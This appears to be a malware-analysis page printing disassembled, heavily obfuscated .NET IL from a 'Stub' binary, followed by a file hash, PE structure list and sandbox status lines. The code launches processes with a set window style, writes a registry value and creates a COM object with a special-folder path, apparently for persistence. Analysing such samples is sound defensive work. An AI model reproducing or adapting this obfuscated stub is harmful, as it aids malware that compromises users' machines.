call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_0410: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 137
ldc.i4.2 <null>
ldnull <null>
ldc.i4 1458553945
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4.s 93
ldc.i4.s 33
call System.Void My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU::Ⴐ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Int32)
ldc.i4.8 <null>
stloc.s V_31
br.s IL_0413: ldloc.s V_31
call System.String Stub.lSucOCBm5DSMwceWLZzrf2VeeOqdxtXHYcsDtkYlcG5HUVAfXaXupHtWH::lVMvaOXTfCGmKCX8tayai4LtF6GLFSdwmEnnIZ0TzJzwpUjbwwUdQBIz9()
ldc.i4 139
ldc.i4 218
call System.Boolean My.s7Xl0mUgDXTAXirbj2VMhW3Xl9PHlV0rqXHcmNYzlDb65AlObngG4Mg5zxgQTLd5SpyQrw4y::Ⴅ<System.String>(System.String,System.Int32,System.Char)
brfalse.s IL_0487: ldc.i4.0
ldc.i4.2 <null>
stloc.s V_31
br.s IL_0413: ldloc.s V_31
ldc.i4.0 <null>
br.s IL_0483: stloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.s 98
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1458553939
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 701
ldc.i4 704
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.2 <null>
ldc.i4.s 97
ldc.i4.8 <null>
ldnull <null>
ldc.i4 1458553964
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4 199
ldc.i4.1 <null>
ldnull <null>
ldc.i4 1458553601
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 223
ldc.i4 167
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴗ(System.String[],System.Int32,System.Char)
ldc.i4 816
ldc.i4 883
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Ⴍ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int16)
ldc.i4.3 <null>
stloc.s V_31
br IL_0413: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4 143
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1458555797
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.1 <null>
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 590
ldc.i4 563
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.s 101
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1458553953
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.s 114
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458553603
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 131
ldc.i4 251
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴗ(System.String[],System.Int32,System.Char)
ldc.i4.2 <null>
ldc.i4.s 65
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Ⴍ<System.Diagnostics.ProcessStartInfo,System.String>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int16)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4 276
ldc.i4 291
call System.Diagnostics.Process My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU::Ⴈ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int16,System.Int32)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.Process
ldc.i4 267
ldc.i4 348
call System.Void Stub.nPxVeeUDdfCIJ8G2Xw6vgzMITUKsHDjR::Ⴜ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int32,System.Int32)
leave.s IL_0627: ldc.i4.4
dup <null>
ldc.i4.s 58
ldc.i4.1 <null>
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_10
ldc.i4 151
ldc.i4 178
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_0627: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU My.TA0n5O7R4Jqs691DSxrd36DmmDNs4P4MXZNs3NnWxLNXu4CabmcpEg8rP::Ⴓ()
ldc.i4.s 76
ldc.i4.s 12
call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.nPxVeeUDdfCIJ8G2Xw6vgzMITUKsHDjR::ႥႷ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int16,System.Int16)
ldc.i4 926
ldc.i4 988
call Microsoft.Win32.RegistryKey Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::ႨႭ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Char)
ldc.i4.s 66
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1458553811
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
ldc.i4 593
ldc.i4 577
call Microsoft.Win32.RegistryKey My.5KgaZpRBAMJVZwmQXGY0yyGl44M90Mcjo7BhroTWvbG44okAdP2DqSSLKuW2pcrRivON2RLU::Ⴍ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32)
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4.s 103
ldc.i4.s 26
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
ldloc.0 <null>
isinst System.String
ldc.i4 675
ldc.i4 640
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::ႥႨ<System.String,System.Object,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Int16)
leave.s IL_06C2: ldc.i4.5
dup <null>
ldc.i4.s 109
ldc.i4.s 86
call System.Void Stub.IwzNgSiWKUb8BcYFGIZpwgc1EPNd434W::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_11
ldc.i4 705
ldc.i4 740
call System.Void Stub.zbnJVlZTbJ4miCtwjkLB7bqyU1IQWD4i212h1C9i6sFS1fp4wJf1Z1aefcfePwcpBnNBJEe5Iggycb21M76ey17Z1i::Ⴍ(System.Char,System.Int16)
leave.s IL_06C2: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 730
ldc.i4 667
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::ႠႥ(System.Environment/SpecialFolder,System.Int32,System.Int32)
ldc.i4 184
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1458553791
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String MrV5qHzN3aqFizzhkubP5vF9n26kVGlukrMNGKLG0M4Rsnt6orotBnrpb::XGdZSjHvmkztWGF8791XMxo73ls5SUE1ntYU2I8kCMoNdFkRJrq91S63i
ldc.i4 737
ldc.i4 668
call System.String Stub.VjrNV3RlsVhWCvRbxhf0Gz0Z7SCcDZlh6JU7ZfbmTPXOn7vXw4OaHyCvn9PwYKeVuOCgUuEcz4WRoXYqUD2Mwj3Z6X::Ⴈ<System.String>(System.String,System.Int32,System.Char)
ldc.i4.s 81
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1458553604
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 16
ldc.i4.s 35
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg::Ⴅ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Char,System.Char)
stloc.s V_12
ldc.i4.3 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldc.i4 202
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1458555830
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.s 44
ldc.i4.8 <null>
ldnull <null>
ldc.i4 1458554775
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4 204
ldc.i4.2 <null>
ldnull <null>
ldc.i4 1458555812
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
castclass System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
isinst System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
castclass System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_07F3: stloc.s V_18
ldloc.s V_16
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4 165
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458555862
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.0 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4 186
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1458555847
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.s 29
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1458554779
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.2 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4 182
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1458555894
call System.String Stub.2JGZhlb14IZ9KeHHHaPtEQF3LU1yi7yg/ႷႥ::Ⴃ(System.Char,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.1 <null>
stloc.s V_35
br IL_06C5: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
castclass System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴈ.Ⴃ::Ⴓ
leave.s IL_08D5: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_08D5: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴈ.Ⴃ::Ⴄ()
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::2AzsyBvGZoRfX1wRBgOpmelRpyzPI9R5qQcrMUDnY6LFwB6VKSCFs23ct()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::NAWR72dL0rzu0xswY4vrjEITbtKfY8dgFjEVfedJJonbZYvXFMfk8rLCV()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.6 <null>
stloc.s V_37
br.s IL_08D8: ldloc.s V_37
call System.String Stub.lSucOCBm5DSMwceWLZzrf2VeeOqdxtXHYcsDtkYlcG5HUVAfXaXupHtWH::lVMvaOXTfCGmKCX8tayai4LtF6GLFSdwmEnnIZ0TzJzwpUjbwwUdQBIz9()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_094A: ldc.i4.3
ldc.i4.5 <null>
stloc.s V_37
br.s IL_08D8: ldloc.s V_37
ldc.i4.3 <null>
br.s IL_0946: stloc.s V_37
call System.Void Stub.W3ZD2x9xtumR05Rn0xdP58snSnx4OSJv::Gv1pzMA5FQ947tqBu20t1lpvEPh7X9Au()
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::OOcuFDZhs9Ur0J48yMB119KfhCrRffGzthvW2AWlXWHXqgADJtIRdgJbh()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::KY3dKnkIAe37zOEQ8r2BJBrC90GlhW737RFUQV8xjV8X6gcoSqBvtONjf()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.4 <null>
stloc.s V_37
br IL_08D8: ldloc.s V_37
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.XotrQxnyl5WniPi2i5zJGtUvZr57qUJtDnr5OwSnWGIbsh2mHqREDFzfA::6MhcRV6lNl8vXuyXqawdy8xOzWE9TYiln9UWom81Qr4xNBlCVCQkfTp4g()
pop <null>
ret <null>
3c4f9d2346850b1daf329b5bb9daa18d
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙